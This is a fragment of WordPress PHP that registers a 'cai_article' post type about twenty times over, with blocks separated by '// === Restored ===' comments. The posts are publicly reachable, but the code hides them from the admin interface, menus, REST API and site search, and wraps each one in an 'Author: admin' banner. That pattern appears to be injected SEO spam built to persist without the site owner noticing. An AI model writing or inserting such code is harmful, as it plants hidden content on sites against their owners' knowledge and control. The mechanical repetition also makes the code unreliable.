        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
